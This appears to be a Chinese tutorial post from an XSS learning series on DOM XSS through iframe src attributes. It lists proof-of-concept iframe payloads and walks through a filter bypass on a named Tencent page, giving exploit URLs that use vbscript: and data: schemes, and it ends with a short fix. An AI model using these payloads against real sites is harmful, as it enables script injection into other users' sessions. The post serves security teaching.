那些年我們一起學XSS - 11. Dom Xss進階 [善變iframe]
- 2019 年 11 月 20 日
- 筆記
網路安全/滲透測試/程式碼審計/
關注
Dom Xss進階 [善變iframe]
有時候,輸出還會出現在 <iframe src="[輸出]"></iframe> 。iframe 的 src屬性本來應該是一個網址,但是iframe之善變,使得它同樣可以執行javascript,而且可以用不同的姿勢來執行。這一類問題,我將其歸為[路徑可控]問題。當然上面說到的是普通的反射型XSS。有時候程式設計師會使用javascript來動態的改變iframe的src屬性,譬如:iframeA.src="[可控的url]"; 同樣會導致XSS問題,來看看本例吧~
1. 先來說說iframe的變化。 1.1 最好懂的,onload執行js <iframe onload="alert(1)"></iframe> 1.2 src 執行javascript程式碼 <iframe src="javascript:alert(1)"></iframe> 1.3 IE下vbscript執行程式碼 <iframe src="vbscript:msgbox(1)"></iframe> 1.4 Chrome下data協議執行程式碼 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome 1.5 上面的變體 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> 1.6 Chrome下srcdoc屬性 <iframe srcdoc="<script>alert(1)</script>"></iframe> 2. 有興趣的,可以一個一個的去測試上面的效果,注意瀏覽器的特異性哦。 3. 接著我們來看看具體的例子。
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=
4. 我們先開調試工具,看看有沒有可見的輸出。

可以看到,我們參數的aaaaaa被帶入到了<iframe src="這裡"></iframe>。 這樣一來,就滿足了我們的使用條件。 我們試試
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
。。竟然沒反應。我們來看看剛才的那個地方。

可以看到,src這次沒屬性了,看來騰訊做了什麼過濾。我們繼續搜索下一個toolframe試試。 恩,看來就是這段程式碼導致的。

一起看看這段程式碼。
function OpenFrame(url) { if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false; document.getElementById("toolframe").src = url; }不難看出,騰訊對 javascript:做出了判斷。
document.getElementById("toolframe").src = url;這句是導致XSS的一句程式碼。而openFrame的url參數則來自於(無關程式碼省略):
... var tool_url = getQueryStringValue("turl"); ... openFrame(tool_url); ...5. 根據我們上面說道的iframe的利用方法,我們不難看出,騰訊的過濾是不完善的。 在IE下,我們可以使用vbscript來執行程式碼。vbscript里 ' 單引號表示注釋,類似JS里的//
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=

在chrome下,我們可以用data協議來執行JS。
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=

6. 就到這裡。
修復方案:
危險的不光是javascript:, vbscript:, data: 等同樣需要過濾。

